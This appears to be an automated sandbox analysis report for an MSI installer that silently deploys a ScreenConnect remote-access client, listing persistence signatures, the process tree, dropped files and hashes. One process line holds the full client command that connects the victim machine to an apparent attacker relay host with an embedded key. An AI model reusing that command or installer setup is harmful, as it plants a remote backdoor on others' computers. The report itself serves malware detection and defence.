Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • max time kernel
    599s
  • max time network
    574s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 16:49

General

  • Target
    sc.msi
  • Size 12.8MB
  • Sample260715-vbml8acw8w
  • SHA256 87b03ad02f61253c205a0967b5c6bc0950402785bb0bbff34dc2f2f77fc28c0a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\sc.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4596
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5316
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 387C9C849FDC506C1EE380A13FA7B76C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240720484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4384
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5560
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0C254C82C2A83E07B4902A672F1ABCF6
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4464
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 515C354FD52581BED7786D2C2CA40DB9 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5880
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4328
    • C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=panel.liaoadinamunchiax.live&p=8041&s=7b91f394-f3b2-4f13-8787-ac2acf432c6a&k=BgIAAACkAABSU0ExAAgAAAEAAQC1iPL1hKvr7V%2ft3MWfwEqaVDTaeW8U0cEkzjalvXoRFcCrfSmi2TcZrodWRlaf5Nqkc8mM1MatoCizNAQdZBG02vjoNdRYsW8W9q5X91hBNz2%2fuIrKEPcqmMMOjBvClZgHOF4HL7fZSVSq8%2fo%2fYPgYf5kzJw5oWBpxoEs95u1noN2Yxlxto55K3QvvoxEV3pyzoVWb7cRKzDKXWeGVkT22FIxKBGhg4oNW1dSiVCnIKxiyFi9sC2CgSA6oQjUUJHQ0NkiuDx3oANvYu8KnDId8jSQL9PYJxt3H5K390K0YPRaNWljLu6eoCVkXnHhW9siYSB9QtjH0P9GoP9zuuATD"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsClient.exe" "RunRole" "87fff2e9-9e02-43ca-9a70-0d6f991c3701" "User"
        2⤵
        • Executes dropped EXE
        PID:5224
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2848

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e596161.rbs

            • Path C:\Config.Msi\e596161.rbs
            • Size 214KB
            • SHA256 13ddab9c549cb9213e8f1a1158c488def28ed24986ad138d8d76b2087e49c3db
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\Client.Override.en-US.resources
            • Size 298B
            • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\Client.Override.resources
            • Size 15KB
            • SHA256 f9c3198c4f4ca682cb73511c3591c90dd2f02684211649d91d751950a55507ed
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\Client.en-US.resources
            • Size 48KB
            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsClient.exe
            • Size 588KB
            • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 822KB
            • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\app.config
            • Size 1KB
            • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (cca0d9d7c5d94481)\system.config
            • Size 942B
            • SHA256 1f89b2e988564889a362867a45bf53fdd609d95849c5277dd6b38d2bb5d940b2
            • MD5 SHA1 SHA512 TLSH

            MSI189F.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp
            • Size 1.0MB
            • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp-\ScreenConnect.Core.dll
            • Size 536KB
            • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI189F.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI671E.tmp

            • Path C:\Windows\Installer\MSI671E.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e596160.msi

            • Path C:\Windows\Installer\e596160.msi
            • Size 12.8MB
            • SHA256 87b03ad02f61253c205a0967b5c6bc0950402785bb0bbff34dc2f2f77fc28c0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            3ma3dtdt.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\3ma3dtdt.newcfg
            • Size 577B
            • SHA256 09a2dc16650b5639cc3bfada5473910786c1c933f71be179e72a3fbb2b52b55b
            • MD5 SHA1 SHA512 TLSH

            4bnojxgw.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\4bnojxgw.newcfg
            • Size 577B
            • SHA256 bdab1a57d491d12dc36142eca6cf2233255169484a76e09b12f4e377dadea14b
            • MD5 SHA1 SHA512 TLSH

            gq1fexlh.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\gq1fexlh.newcfg
            • Size 577B
            • SHA256 2882dff85f359029db12a4e6fa93dc2c956eaf3e16a8b1517e7e98eeea61d159
            • MD5 SHA1 SHA512 TLSH

            hlhicysq.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\hlhicysq.newcfg
            • Size 577B
            • SHA256 adf13e45925a93482574015f9716303a9a51d384feb1e6c82bd77349ed8f6587
            • MD5 SHA1 SHA512 TLSH

            oxtyxumx.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\oxtyxumx.newcfg
            • Size 577B
            • SHA256 d96faead04c6b8bebcec8a36ae66e95d33b498e8b70a4f4e25555bc91f586d0b
            • MD5 SHA1 SHA512 TLSH

            prxafmz1.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\prxafmz1.newcfg
            • Size 577B
            • SHA256 f2d0d915d4cd695fd3b0065f09de5baa9f5dbbad4888b93aa2da334ba68b4f68
            • MD5 SHA1 SHA512 TLSH

            t2g0yr3j.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\t2g0yr3j.newcfg
            • Size 577B
            • SHA256 b844c82966a7c762ac8a2eae35e6bb1a35893903655da053db6f5b3b764afe7b
            • MD5 SHA1 SHA512 TLSH

            user.config

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\user.config
            • Size 577B
            • SHA256 6dcd7fb454a018085945c92b7ece23093bbf146281547a0ec29f6f9766c29558
            • MD5 SHA1 SHA512 TLSH

            vh0p5hxe.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\vh0p5hxe.newcfg
            • Size 577B
            • SHA256 025fc5cd98eda4a41bf2e7d4ee041dc54197706a3656fb2dd479bd0f343dada3
            • MD5 SHA1 SHA512 TLSH

            yj3qhvcp.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\yj3qhvcp.newcfg
            • Size 577B
            • SHA256 6d4b21ab9cf8020b8b902293051c2cc965151893c88999d9bf16878ef99f1bf4
            • MD5 SHA1 SHA512 TLSH

            znqjascz.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (cca0d9d7c5d94481)\znqjascz.newcfg
            • Size 577B
            • SHA256 fd46d7e4ed6f9b71c5781d3210613b814203d222d3082b82174b51b13e91f0ab
            • MD5 SHA1 SHA512 TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 5f43a51bf88fde584f907364a23c451a0b5f74486ea25e096b87c016539cc9ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {271f0119-0460-4389-91a5-90ce2469b545}_OnDiskSnapshotProp

            • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{271f0119-0460-4389-91a5-90ce2469b545}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 b209ad1938b08aeee3ead1452ff64169be3ebae548a29def4a24ce1a6c9ab3dc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1768-104-0x00000000046B0000-0x00000000046F1000-memory.dmp

            memory/1768-106-0x0000000004940000-0x0000000004A12000-memory.dmp

            memory/1768-75-0x0000000001DC0000-0x0000000001DD8000-memory.dmp

            memory/1768-97-0x0000000004620000-0x0000000004670000-memory.dmp

            memory/1768-101-0x0000000004670000-0x00000000046A6000-memory.dmp

            memory/1768-102-0x0000000004750000-0x00000000047E2000-memory.dmp

            memory/4384-22-0x0000000003FC0000-0x0000000003FCA000-memory.dmp

            memory/4384-18-0x0000000003F80000-0x0000000003FAE000-memory.dmp

            memory/4384-26-0x00000000060C0000-0x000000000614C000-memory.dmp

            memory/4384-30-0x0000000006300000-0x00000000064AA000-memory.dmp

            memory/4384-31-0x0000000006A70000-0x000000000702A000-memory.dmp

            memory/5224-114-0x0000000000970000-0x0000000000A06000-memory.dmp

            memory/5224-119-0x000000001BD30000-0x000000001BEDA000-memory.dmp

            memory/5224-115-0x0000000002A70000-0x0000000002AA6000-memory.dmp

            memory/5224-118-0x000000001B780000-0x000000001B80C000-memory.dmp

            memory/5224-122-0x0000000002AD0000-0x0000000002AE8000-memory.dmp

            memory/5224-121-0x0000000002A30000-0x0000000002A48000-memory.dmp

            memory/5224-120-0x000000001C070000-0x000000001C1F8000-memory.dmp